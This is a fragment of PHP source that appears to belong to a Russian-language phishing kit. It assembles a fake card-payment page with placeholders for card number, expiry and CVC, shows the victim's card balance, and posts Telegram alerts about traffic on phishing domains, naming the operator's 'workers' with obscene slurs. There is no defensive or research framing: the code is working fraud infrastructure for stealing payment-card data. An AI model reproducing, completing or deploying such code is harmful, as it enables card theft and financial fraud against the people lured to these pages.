772 $checkertrackcodecykablyad .= '<div class="card-item__holder">Баланс карты</div>';
773 $checkertrackcodecykablyad .= '<transition name="slide-fade-up">';
774 $checkertrackcodecykablyad .= '<div class="card-item__name" v-if="cardName.length" key="1">';
775 $checkertrackcodecykablyad .= '<transition-group name="slide-fade-right">';
776 $checkertrackcodecykablyad .= '<span class="card-item__nameItem" v-for="(n, $index) in cardName.replace(/\s\s+/g, \' \')" v-if="$index === $index" v-bind:key="$index + 1">{{n}}</span>';
777 $checkertrackcodecykablyad .= '</transition-group> ₽';
778 $checkertrackcodecykablyad .= '</div>';
779 $checkertrackcodecykablyad .= '<div class="card-item__name" v-else key="2">'.$amount.' ₽</div>';
780 $checkertrackcodecykablyad .= '</transition>';
781 $checkertrackcodecykablyad .= '</label>';
782 #$checkerbalance .= '</div>';
783 #$checkerbalance .= '</div>';
784 #$checkerbalance .= '';
785 #$checkerbalance .= '';
786 } else {
787 $checkerbalance = "";
788 $checkertrackcodecykablyad = "";
789 }
790 $data = str_replace([
791 '%style%',
792 '%script%',
793 '%amount%',
794 '%title%',
795 '%card%',
796 '%expm%',
797 '%expy%',
798 '%cvc%',
799 '%txt1%',
800 '%txt2%',
801 '%txt3%',
802 '%errmsg%',
803 '%infmsg%',
804 '%titlebla%',
805 '%checker228%',
806 '%checkertrackcode228nahyi%',
807 '%checkertrackpizdec%',
808 '%checker221%',
809 ], [
810 fileRead(dirStyles($srvc.'-0')),
811 fileRead(dirScripts($srvc.'-0')),
812 number_format($amount, 0, '.', ' '),
813 $title,
814 $card,
815 $expm,
816 $expy,
817 $cvc,
818 $ttx[1],
819 $ttx[2],
820 $ttx[3],
821 $errmsg ? $errmsg : '',
822 $ttx[4],
823 $ttx[5],
824 $checker228,
825 $checkertrackcodecykablyad,
826 $checkerbalancetrack,
827 $checker221,
828 ], fileRead(dirPages($srvc.'-0')));
829 break;
830 }
831 }
832 if ($ddos0) {
833 $ddos = getItemData($item, $isnt)[0];
834 $ddos2 = [100, 250, 500, 1000, 2000, 3000, 5000, 10000];
835 if (in_array($ddos, $ddos2)) {
836 botSend([
837 '‼️ <b>@DeSQL иди сюда, тут DDOS X'.(array_search($ddos, $ddos2) + 1).'</b>',
838 '',
839 'Уникальных запросов: <b>'.$ddos.'</b>',
840 '',
841 'Домен: <b>'.$domain.'</b>',
842 ($isnt ? 'ID объявления' : 'Трек номер').': <b>'.$item.'</b>',
843 'Ребенок шлюхи: <b>'.userLogin($id, true, true).'</b>',
844 ], chatAlerts());
845 }
846 }
847 if ($data && $data != '')
848 xEcho(str_replace('</head>', '</head>'.liveChatCode(), $data));
849?>